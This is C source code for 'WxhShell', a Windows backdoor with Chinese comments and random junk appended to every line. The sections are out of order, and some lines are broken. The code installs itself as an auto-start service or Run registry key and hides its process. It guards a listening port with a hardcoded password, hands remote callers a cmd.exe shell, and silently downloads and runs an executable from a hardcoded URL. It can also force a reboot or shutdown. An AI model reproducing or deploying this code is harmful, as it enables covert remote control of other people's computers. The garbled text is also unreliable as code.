    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vN$j @h .  
    if(Boot(SHUTDOWN)) 9#)&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~T:L0||.%9  
    else { w ;]~2$  
    closesocket(wsh); 't#E-+o  
    ExitThread(0); !_pryNcb  
    } eG08Xt |lc  
    break; 50HRgoP5Y  
    } 57rH`UFXH  
  // 获取shell n+H);Dg<8  
  case 's': { g/BlTi  
    CmdShell(wsh); ,#hx%$f}d  
    closesocket(wsh); %Kc2n9W  
    ExitThread(0); .?LP$O=  
    break; qV7nF }V{  
  } e!p?~70  
  // 退出 7!jb ID~  
  case 'x': { FWl'='5L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'G8.)eTA'  
    CloseIt(wsh); D.Z4noMA6  
    break; xAJuIR1Hi  
    } <p\iB'y  
  // 离开 HWxwG'EEY,  
  case 'q': { sFa5#w*>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); obtXtqew  
    closesocket(wsh); xZ(f_Oy  
    WSACleanup(); 6R';[um?q  
    exit(1); V^E.9fs,  
    break; _H)>U[  
        } r0fEW9wL  
  } KQ2jeJ/pj  
  } $Y&rci]  
vY'E+M"+@  
  // 提示信息 %2z] 2@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g!.k>  
} 0pl |  
  } U]W+ers  
_|} GhdYE  
  return; :y8wv|m  
} 1PnWgu  
uwhb-.w  
// shell模块句柄 TF-k|##G  
int CmdShell(SOCKET sock) Avr2MaY{h  
{ Y=YIz>u  
STARTUPINFO si; cr"AK"TQ  
ZeroMemory(&si,sizeof(si)); k-X E|v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a^QyYX}\qR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5fDnr&DR  
PROCESS_INFORMATION ProcessInfo; e9@7GaL`"S  
char cmdline[]="cmd"; z-;2)RkV2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8e*1L:oB!  
  return 0; P8=!/L2?  
} ncCgc5uP  
> nOU 8  
// 自身启动模式 64w4i)?eM[  
int StartFromService(void) Ql.abU  
{ w0!4@  
typedef struct FatLc|[  
{ bL"!z"NA  
  DWORD ExitStatus; eh5j  
  DWORD PebBaseAddress; qt{{q  
  DWORD AffinityMask; Q{"QpVY8  
  DWORD BasePriority; }vspjplk^  
  ULONG UniqueProcessId; ?O.1HEr  
  ULONG InheritedFromUniqueProcessId; Mpu8/i gX,  
}   PROCESS_BASIC_INFORMATION; w] =q>p  
rj> _L  
PROCNTQSIP NtQueryInformationProcess; Vp~c$y+  
?OFl9%\ V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ERQc1G]3Dd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mpysnKH  
=%+O.  
  HANDLE             hProcess; TE!+G\@  
  PROCESS_BASIC_INFORMATION pbi; By7? <A  
 ]H_|E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !.}ZlA  
  if(NULL == hInst ) return 0; r}]%(D](v  
x{.+i'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eK=<a<tx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L/sMAB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YN>k5\M_v  
m_pqU(sP  
  if (!NtQueryInformationProcess) return 0; X:1&Pdi  
^^C@W?.z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;"N4Yflz  
  if(!hProcess) return 0; GZ@`}7b}  
U'K{>"~1a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dW`!/OaQD  
i`hr'}x  
  CloseHandle(hProcess); Sq Y$\&%  
g{d(4=FM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bxrT[]  
if(hProcess==NULL) return 0; ^+'[:rE  
Jv+N/+M47  
HMODULE hMod; {BS}9jZx  
char procName[255]; ! O~:  
unsigned long cbNeeded; >ukn<  
`z)q/;}fC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {#o0vWS>  
T1YCld  
  CloseHandle(hProcess); *@1(!A  
5zf bI  
if(strstr(procName,"services")) return 1; // 以服务启动 yJRqX]MLA  
>L_nu.x  
  return 0; // 注册表启动 iS]4F_|vd  
} 4[VW~x07  
<Mq vGXI  
// 主模块 KyQd6 1  
int StartWxhshell(LPSTR lpCmdLine) rT mVHt  
{ Xvr7qowL  
  SOCKET wsl; $]`rWSYtv`  
BOOL val=TRUE; 9z9\pXFQ  
  int port=0; N R0"yJV>  
  struct sockaddr_in door; B}U:c]  
Dm+[cA"I  
  if(wscfg.ws_autoins) Install(); |T)  $E  
FJCLK#-  
port=atoi(lpCmdLine); qe3d,!  
oH ] _2[ !  
if(port<=0) port=wscfg.ws_port; Krw'|<  
7]`l"=/z  
  WSADATA data; D<wz%*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ARd*c?Om  
fuQk}OW{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kIwq%c;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mc@_[q!xY?  
  door.sin_family = AF_INET; fG_<HJS(~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _X]\#^UiO2  
  door.sin_port = htons(port); !(8) '<t9  
l&Cy K#B:\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?[!_f$50]P  
closesocket(wsl); |QHIB?C?`  
return 1; o#\c:D*k  
} me+u"G9I;  
f!K{f[aDa  
  if(listen(wsl,2) == INVALID_SOCKET) { "~:P-]`G  
closesocket(wsl); 'Y22HVUX  
return 1; j^)=<+Q;=  
} S[5OTwa8L  
  Wxhshell(wsl); ZU68\cL  
  WSACleanup(); W1 \dGskV  
HXb^K  
return 0; @ *&`1  
9 Eqv^0u  
} 49tJ+J-N  
Txa 2`2t7  
// 以NT服务方式启动 cMoBYk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OIY  
{ R q .2  
DWORD   status = 0; RHu4cK!5  
  DWORD   specificError = 0xfffffff; <~hx ~"c  
CuFlI?~8 z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0 } |21YED  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PnJA'@x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %4x,^ K]  
  serviceStatus.dwWin32ExitCode     = 0; 1B`JvNtd  
  serviceStatus.dwServiceSpecificExitCode = 0; tpQ8 m(  
  serviceStatus.dwCheckPoint       = 0; <Q@{6  
  serviceStatus.dwWaitHint       = 0; gg&Dej2{  
G7k.YtW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gJg%3K~,  
  if (hServiceStatusHandle==0) return; V;(Rg=5  
49Hgq/uO  
status = GetLastError(); 6Tg'9|g  
  if (status!=NO_ERROR) F$HL \y  
{ 'e*:eBoyb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g>n1mK|  
    serviceStatus.dwCheckPoint       = 0; v M $Tn  
    serviceStatus.dwWaitHint       = 0; 2#Y5*r's\  
    serviceStatus.dwWin32ExitCode     = status; Q5c13g2(c  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^)1!TewCY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1i 7p'  
    return; )AXa.y  
  } ksV ^Y=]  
jTN!\RH9NF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6BObV/S Jg  
  serviceStatus.dwCheckPoint       = 0; GC)xQZU)s  
  serviceStatus.dwWaitHint       = 0; !$!"$-5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4~e6z(  
} 6D29s]h2  
R QCKH]&!  
// 处理NT服务事件,比如:启动、停止 yG:Pg MrB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,,~|o3cfq  
{ /S`d?AV  
switch(fdwControl) Y4)=D@JI  
{ J72 YZrc  
case SERVICE_CONTROL_STOP: p 4Y 2AQ9  
  serviceStatus.dwWin32ExitCode = 0; a*?,wmzl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L7B(abT9e  
  serviceStatus.dwCheckPoint   = 0; 29k\}m7l<*  
  serviceStatus.dwWaitHint     = 0; FQw@ @  
  { +\~Mx>Cn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $qk(yzY  
  } pd oCV  
  return; z/t+t_y  
case SERVICE_CONTROL_PAUSE: ~ MW_=6U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  `AxhA.&V  
  break; Ks.kn7<l  
case SERVICE_CONTROL_CONTINUE: Ng1uJa[k!d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2w67 >w\  
  break; ^?gs<-)B  
case SERVICE_CONTROL_INTERROGATE: v1~`76^  
  break; &g5+ |g (  
}; J2Eb"y>/;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P:2 0i*QU  
} 5Y(f7,JX  
TkV*^j5  
// 标准应用程序主函数 &HYs^|ydrr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [9xUMX^}  
{ zIgD R  
@Xq3>KJ_)H  
// 获取操作系统版本 yf7$m_$C'  
OsIsNt=GetOsVer(); K;#9: Z^+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Sk?tl  
4O'X+dv^I  
  // 从命令行安装 o;2QZ"v  
  if(strpbrk(lpCmdLine,"iI")) Install(); pm}!?TL  
>$p|W~x  
  // 下载执行文件 gv,8Wo  
if(wscfg.ws_downexe) { PK|"+I0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ay,E!G&H  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'hl4cHk14  
} =)9@rV&~  
-% Z?rn2  
if(!OsIsNt) { tN:PWj5  
// 如果时win9x,隐藏进程并且设置为注册表启动 q+Cq&|4 ?2  
HideProc(); o$-!E(p  
StartWxhshell(lpCmdLine); ]M5w!O!  
} oN6X]T<   
else enJgk(  
  if(StartFromService()) 9 WhZ= Xk  
  // 以服务方式启动 MUfhk)"  
  StartServiceCtrlDispatcher(DispatchTable); _}(ej&'f  
else FOx&'dH %@  
  // 普通方式启动 k(.6K[ b  
  StartWxhshell(lpCmdLine); {`M 'ruy.%  
y,QJy=?  
return 0; a@&P\"k  
} ;VAHgIpx;  
8Cw+<A*  
>2w^dI2  
Wy`ve~y  
=========================================== @fSBW+  
-%eBip,'yl  
@XL5$k[Y  
HM(S}>  
w`$M}oX(  
 F6\Hqv  
" GnzKDDH '  
,_(AiQK  
#include <stdio.h> o6[aP[~F  
#include <string.h> ;9rS[$^$O  
#include <windows.h> )IH|S5mG?  
#include <winsock2.h> [R~`6  
#include <winsvc.h> .!pr0/9B  
#include <urlmon.h> y:R!E *.L'  
awic9 uMH  
#pragma comment (lib, "Ws2_32.lib") ~d072qUos  
#pragma comment (lib, "urlmon.lib") Lm{qFu  
g VPtd[r  
#define MAX_USER   100 // 最大客户端连接数 y]e[fZ`L  
#define BUF_SOCK   200 // sock buffer Z/f%$~Ch  
#define KEY_BUFF   255 // 输入 buffer muJR~4  
,p\:Z3{ZH  
#define REBOOT     0   // 重启 2`;&Uwt  
#define SHUTDOWN   1   // 关机 _vV3A3|Ec,  
=h Lw 1~  
#define DEF_PORT   5000 // 监听端口 74p=uQ  
/)<x<7FKW  
#define REG_LEN     16   // 注册表键长度 G)G 257K"~  
#define SVC_LEN     80   // NT服务名长度 Ey#7L M)  
^.|P&f~  
// 从dll定义API 15X.gx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [<,i}z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3~o#1*->  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W Y]   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : [r/ Y  
u9zEhfg8  
// wxhshell配置信息 U7do,jCoa  
struct WSCFG { S[ln||{  
  int ws_port;         // 监听端口 -+ha4JOB  
  char ws_passstr[REG_LEN]; // 口令 o#~Lb9`@U  
  int ws_autoins;       // 安装标记, 1=yes 0=no };Oyv7D+b  
  char ws_regname[REG_LEN]; // 注册表键名 +>}LT_  
  char ws_svcname[REG_LEN]; // 服务名 bQlvb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qbsmB8rh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  J^V}%N".  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N|@jHx y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Gc4mwu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {KGEv%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u _mtdB'  
YstR T1  
}; A+w'quXn  
|W#(+m  
// default Wxhshell configuration zo| '  
struct WSCFG wscfg={DEF_PORT, _@5|r|P>  
    "xuhuanlingzhe", 'w z6Zt  
    1, $-MVsa9>I  
    "Wxhshell", o"!C8s_6  
    "Wxhshell", ~jR4%VF  
            "WxhShell Service", ZQk!Ia7  
    "Wrsky Windows CmdShell Service", OAauD$Hh  
    "Please Input Your Password: ", _1,hO?TK  
  1, dM=45$\q  
  "http://www.wrsky.com/wxhshell.exe", ?:42jp3  
  "Wxhshell.exe" l@)`Q  
    }; AxtmG\o>  
lz7?Z  
// 消息定义模块 64i*_\UKe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2{Y~jYt{h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x:K~?c3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $*Kr4vh  
char *msg_ws_ext="\n\rExit."; b} 0G~oLP  
char *msg_ws_end="\n\rQuit."; Uv m:`e~?  
char *msg_ws_boot="\n\rReboot..."; -tZ~&1"  
char *msg_ws_poff="\n\rShutdown..."; $<QrV,T  
char *msg_ws_down="\n\rSave to "; Rb!y(&>v  
9 {wRqY  
char *msg_ws_err="\n\rErr!"; Obf RwZh?q  
char *msg_ws_ok="\n\rOK!"; z"97AXu  
kV+%(Gl8  
char ExeFile[MAX_PATH]; KdBpfPny@  
int nUser = 0; L^jjf8_  
HANDLE handles[MAX_USER]; %s! |,Cu  
int OsIsNt; 4{@{VsXN  
r7,}"Pl  
SERVICE_STATUS       serviceStatus; q6,z 1A"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D 5bPF~q  
Vu,e ]@  
// 函数声明 5a-x$Qb9  
int Install(void); N=PSr4  
int Uninstall(void); A;<wv>T  
int DownloadFile(char *sURL, SOCKET wsh); {h=gnR-9  
int Boot(int flag); 9Pb6Z}  
void HideProc(void); c: r25  
int GetOsVer(void); <5? pa3  
int Wxhshell(SOCKET wsl); D4b-Y[/"  
void TalkWithClient(void *cs); aeISb83Y|  
int CmdShell(SOCKET sock); &+n9T?+b  
int StartFromService(void); 9Ta0Li  
int StartWxhshell(LPSTR lpCmdLine); j^7A }fz  
;=7K*npT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =ecLzk"+F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W6Mq:?+D  
lYTQg~aPm  
// 数据结构和表定义 ME$J42  
SERVICE_TABLE_ENTRY DispatchTable[] = B>W8pZu-J  
{ - V:HT j  
{wscfg.ws_svcname, NTServiceMain}, ?!K6")SE  
{NULL, NULL} {zWR)o .=  
}; xbBqR _ H_  
@ 5^nrB  
// 自我安装 +J|H~`  
int Install(void) 8L,=Eap  
{ WR3,woo  
  char svExeFile[MAX_PATH]; c} +*$DeT  
  HKEY key; @AF<Xp{  
  strcpy(svExeFile,ExeFile); {"+M%%`*#  
zGFD71=#  
// 如果是win9x系统,修改注册表设为自启动 e{7\pQK  
if(!OsIsNt) { W&=OtN U!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'L7qf'RV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K Ax=C}9  
  RegCloseKey(key); KW(a@X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J09jBQ] R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D3 yTN"  
  RegCloseKey(key); i1|>JM[V  
  return 0; dYwkP^KB  
    } #n'.a1R  
  } GPGE7X'  
} c7jmzo  
else { P+0'^:J  
P&uSh?[ ^  
// 如果是NT以上系统,安装为系统服务 "~5cz0 H3v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2}A)5P*K  
if (schSCManager!=0) | L8 [+_m  
{ b!P,+!<  
  SC_HANDLE schService = CreateService 755,=U8'wi  
  ( '< U&8?S  
  schSCManager, 1>OlBp  
  wscfg.ws_svcname, Z^ :_,aJ?  
  wscfg.ws_svcdisp, Xj 1Oxm 42  
  SERVICE_ALL_ACCESS, ${MzO i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wX0D^ )NtF  
  SERVICE_AUTO_START, >U vP/rp  
  SERVICE_ERROR_NORMAL, +Yc^w5 !(  
  svExeFile, <NMJkl-r8r  
  NULL, /)6T>/  
  NULL,  E.h  
  NULL, nbF<K?  
  NULL, nwU],{(Hgr  
  NULL c,xdkiy3  
  ); LUbj^iQ9  
  if (schService!=0) o]q~sJVk6  
  { Jh3  
  CloseServiceHandle(schService); $6a9<&LP_  
  CloseServiceHandle(schSCManager); f6%k;R.Wz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hSm?Z!+  
  strcat(svExeFile,wscfg.ws_svcname); ENuL!H>;*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }PBme'kP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &VGV0K3 Dp  
  RegCloseKey(key); ~.: { Ik]  
  return 0; 1.du#w  
    } ~_fc=^o  
  } )8A.Wg4S;c  
  CloseServiceHandle(schSCManager); p^pd7)sBr  
} ^%$IdDx  
} qWhW4$7x  
CP J21^  
return 1; 5@2Rl>B$  
} YB"gLv?  
9^XZ|`  
// 自我卸载 LP"g(D2'n  
int Uninstall(void) 8\rca:cF   
{ ?>;aD  
  HKEY key; G'\[dwD,u  
!-lI<$S:  
if(!OsIsNt) { 1eD#-tzV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TRi'l#m4  
  RegDeleteValue(key,wscfg.ws_regname); @D;K&:~|N  
  RegCloseKey(key); .V hU:_u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U4"^NLAq  
  RegDeleteValue(key,wscfg.ws_regname); kH eD(Ea  
  RegCloseKey(key); ,/?J!W@m  
  return 0; JTKS5 r7?  
  } /(^-= pAX  
} uVqc:Q"  
} PaaMh[OmG  
else { @&m [w'tn  
ArtY;.cg%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GJB+] b-  
if (schSCManager!=0) `j{3|C=  
{ Q#%LIkeq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HIc;Lc8$  
  if (schService!=0) ?Z{/0X)]|  
  { @ym:@<D  
  if(DeleteService(schService)!=0) { jwk+&S  
  CloseServiceHandle(schService); ~T@E")uR  
  CloseServiceHandle(schSCManager); f! +d*9  
  return 0; -U2Su|:\N8  
  } spA|[\Nl  
  CloseServiceHandle(schService); :$G^TD/n  
  } <sC(a7i1  
  CloseServiceHandle(schSCManager); 791v>h    
} xQZOGq  
} vE[d& b[  
MEI&]qI  
return 1; [\ku,yd%0  
} W>' DQB  
YMw,C:a4  
// 从指定url下载文件 !\'w>y7  
int DownloadFile(char *sURL, SOCKET wsh) Jj ]<SWh  
{ iK4\N;H  
  HRESULT hr; A5R"|<UPR  
char seps[]= "/"; QO$18MBcc  
char *token; I]HYqI  
char *file; KYTXf+oh  
char myURL[MAX_PATH]; Z84w9y7O<  
char myFILE[MAX_PATH]; d*u3]&?x&f  
9+(b7L   
strcpy(myURL,sURL); s3Bo'hGxG  
  token=strtok(myURL,seps); HxR5&o  
  while(token!=NULL) -n@,r%`UK  
  { p!E*A NwX  
    file=token; @[D5{v)S  
  token=strtok(NULL,seps); |3k r*#  
  } ]#N8e?b,  
Oh}52=  
GetCurrentDirectory(MAX_PATH,myFILE); h/5V~ :)  
strcat(myFILE, "\\"); iu=@ h>C  
strcat(myFILE, file); G9S3r3  
  send(wsh,myFILE,strlen(myFILE),0); v#d3W| ~  
send(wsh,"...",3,0); :tENn r.9v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zq5N@d F  
  if(hr==S_OK) ke6,&s%{j  
return 0; t^bh2 $J  
else JiqhCt\  
return 1; E\2f"s  
#x;d+Q@  
} An]Vx<PD  
U7LCd+Z 5X  
// 系统电源模块 6ZjUC1  
int Boot(int flag) ,H|K3nh  
{ (;Bh7Ft  
  HANDLE hToken; VaonG]Ues  
  TOKEN_PRIVILEGES tkp; UN<$F yb  
9AWP` ~l`  
  if(OsIsNt) { C\[:{d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;Gp9 ?0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &/Gf@[  
    tkp.PrivilegeCount = 1; {h|kx/4{m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yl1l$[A$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W T @XHwt  
if(flag==REBOOT) { x[&)\[t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \"I418T K  
  return 0; ,\T`gh  
} ,-n_( U  
else { 75h]# k9\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'K23oQwDB  
  return 0; n-?zH:]GG{  
} D7IhNWrgj  
  } RdjoVCf  
  else { #T>pu/EQX_  
if(flag==REBOOT) { .5~3D97X&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {rF9[S"h  
  return 0; @]]\r.DG  
} >2'A~?%  
else { P-Gp^JX8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) on7? V<  
  return 0; Y6jgAq  
} -LFk7a  
} :VR% I;g;  
|*~SR.[`  
return 1; 2`V0k.$?p  
} 3z k},8fu  
r.]IGE|  
// win9x进程隐藏模块 8NWuhRRrw  
void HideProc(void) MHCwjo"  
{ b$/7rVH!  
7?y([i\y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q:wz!~(>  
  if ( hKernel != NULL ) Rx@0EPV  
  { sZ"(#g;3<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @6y)wA9Yx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I!Fd~g9I4  
    FreeLibrary(hKernel); NiVZ=wEp,  
  } tt&{f <*  
u`*1OqU  
return; b-J6{=k^  
} 9 H>J S  
R$2\Xl@qQF  
// 获取操作系统版本 F\<{:wu   
int GetOsVer(void) @><8YN^)%  
{ E,/nK  
  OSVERSIONINFO winfo; Gl4f:`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] $F%  
  GetVersionEx(&winfo); \O*W/9 +  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [1e/@eC5  
  return 1; aC3Qmo6?m  
  else u} [.*e  
  return 0; Jn\>S z(96  
} "i%=QON`  
)|&FBz;  
// 客户端句柄模块 cOdgBi  
int Wxhshell(SOCKET wsl) #_'^oGz`  
{ .p78 \T  
  SOCKET wsh; ?0d#O_la3  
  struct sockaddr_in client; q3u:Tpn4%  
  DWORD myID; ,/eAns`ZU  
{afIr1j/m  
  while(nUser<MAX_USER) e'3y^Vg  
{ Nfd'|#  
  int nSize=sizeof(client); O~5*X f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ee{Y1W  
  if(wsh==INVALID_SOCKET) return 1; _"#n%@  
qKI)*o062  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r_Pi)MPc  
if(handles[nUser]==0) v+DXs!O{  
  closesocket(wsh); S0lt _~  
else CH0Nkf  
  nUser++; H6M G5f_  
  } XJA];9^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :d|~k  
? RI D4xu!  
  return 0; V17!~  
} ~Vf A  
8M7Bw[Q1  
// 关闭 socket 1-s G`%  
void CloseIt(SOCKET wsh) (~?p`g+I.P  
{ ^K:-r !v^  
closesocket(wsh); (J.k\d   
nUser--; AK&=/[U>  
ExitThread(0); ka*#O"}L8  
} Bk/&H-NI  
3qy4nPg  
// 客户端请求句柄 3]pHc)p!.  
void TalkWithClient(void *cs) m-<m[49  
{ n]jw!;  
/sdZf|Zl  
  SOCKET wsh=(SOCKET)cs; vywpX^KPv  
  char pwd[SVC_LEN]; [-VIojs+u  
  char cmd[KEY_BUFF]; c'wU$xt.w  
char chr[1]; nNh5f]]  
int i,j; =OFx4#6a  
YVPLHwh/5  
  while (nUser < MAX_USER) { k\-h-0[|  
No*[@D]g  
if(wscfg.ws_passstr) { W@D./Th  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +9B .}t#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wJh/tb=$o  
  //ZeroMemory(pwd,KEY_BUFF); P7$/yBI U  
      i=0; ==EB\>g|  
  while(i<SVC_LEN) { x7/";L>  
Cl!9/l?z  
  // 设置超时 #Sg"/Cc  
  fd_set FdRead; ;*WG9Y(W  
  struct timeval TimeOut; E@4/<;eKK  
  FD_ZERO(&FdRead); Y} 6@ w  
  FD_SET(wsh,&FdRead); S1U[{R?,  
  TimeOut.tv_sec=8; -\2hSIXj  
  TimeOut.tv_usec=0; 0B: v0 R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %Rk DR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wZWAx  
`UT UrM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IL`=r6\  
  pwd=chr[0]; ER0B{b  
  if(chr[0]==0xd || chr[0]==0xa) { !@ {sM6U  
  pwd=0; m~uT8R#$  
  break; <LN7+7}  
  } ^!gq_x  
  i++; ^9kx3Pw?8  
    } 5]n\E?V'L  
:aH5=@[!y  
  // 如果是非法用户,关闭 socket (%mV,2|:20  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <T&v\DN  
} I5 qrHBJ >  
/Q_ Dd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mhB2l/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lc3Gu78 A/  
c3r`T{Kf  
while(1) { "lSh 4X  
` 46z D ?  
  ZeroMemory(cmd,KEY_BUFF); dFy GI?  
I&31jn_o /  
      // 自动支持客户端 telnet标准   J_?v=dW`  
  j=0; _ ,/~P)  
  while(j<KEY_BUFF) { "p7nngn~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n>w<vM  
  cmd[j]=chr[0]; k81%$E  
  if(chr[0]==0xa || chr[0]==0xd) { n2EPx(~  
  cmd[j]=0; ~]q>}/&YLo  
  break; 5{Q9n{dOh  
  } [c;#>UQMf  
  j++; hS&l4 \I'Z  
    } gY8$Rk %  
_54gqD2C,  
  // 下载文件 : ]+6l  
  if(strstr(cmd,"http://")) { Pc2!OQC'""  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5n{d jP  
  if(DownloadFile(cmd,wsh)) ,[)l>!0\H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r$8'1s37`  
  else imeE&  
